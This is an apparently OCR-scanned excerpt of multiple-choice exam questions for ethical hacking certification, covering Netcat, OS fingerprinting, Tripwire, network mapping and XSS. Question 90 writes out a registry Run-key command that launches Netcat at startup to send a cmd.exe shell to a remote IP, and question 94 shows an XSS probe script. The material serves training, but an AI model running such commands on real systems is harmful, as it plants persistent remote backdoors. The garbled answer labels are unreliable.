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HMA #90

You run the following command on the remote Windows server 2003 computer:

c\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c\windows
\nc.exe -d 192.168.1.7 4444 -e cmd.exe"”

What task do you want to perform by running this command?

Each correct answer represents a complete solution. Choose all that apply.

e A. Youwant to set the Netcat to execute command any time.

¢ B. You want to add the Netcat command to the Windows registry.
¢ C. You want to perform banner grabbing,

¢ D. You want to put Netcat in the stealth mode.

iIFf#: A. B. D
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HA#91
Which of'the following is used to determine the operating system on the remote computer in a network environment?

A. OS Fingerprinting
B. Reconnaissance
C. Social engineering
D. Spoofing
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H #92
Which of the following applications automatically calculates cryptographic hashes of all key system files that are to be
monitored for modifications?

A. TCPView
B. PrcView
C. Tripwire
D. Inzider

Ef#: C

B #93

John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com
He has successfully completed the following steps of the pre-attack phase:

1 Information gathering

1 Determining network range

1 Identifying active machines

1 Finding open ports and applications

10S fingerprinting

1 Fingerprinting services

Now John wants to perform network mapping of the We-are-secure network. Which of the following tools can he use to
accomplish his task?

Each correct answer represents a complete solution. Choose all that apply.

A. Cheops
B. NeoTrace
C. Traceroute
D. Ettercap

Ef#: A. B. C
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H #94

John works as a Penetration Tester in a security service providing firm named you-are-secure Inc. Recently, John's company has got
a project to test the security of a promotional Website www.missatlanta.com and assigned the pen-testing work to John. When John
is performing penetration testing, he inserts the following script in the search box at the company home page:

<script>alert('Hi, John')</script>

After pressing the search button, a pop-up box appears on his screen with the text - "Hi, John." Which of the following attacks can
be performed on the Web site tested by john while considering the above scenario?



A. Buffer overflow attack
B. XSS attack

C. CSREF attack

D. Replay attack
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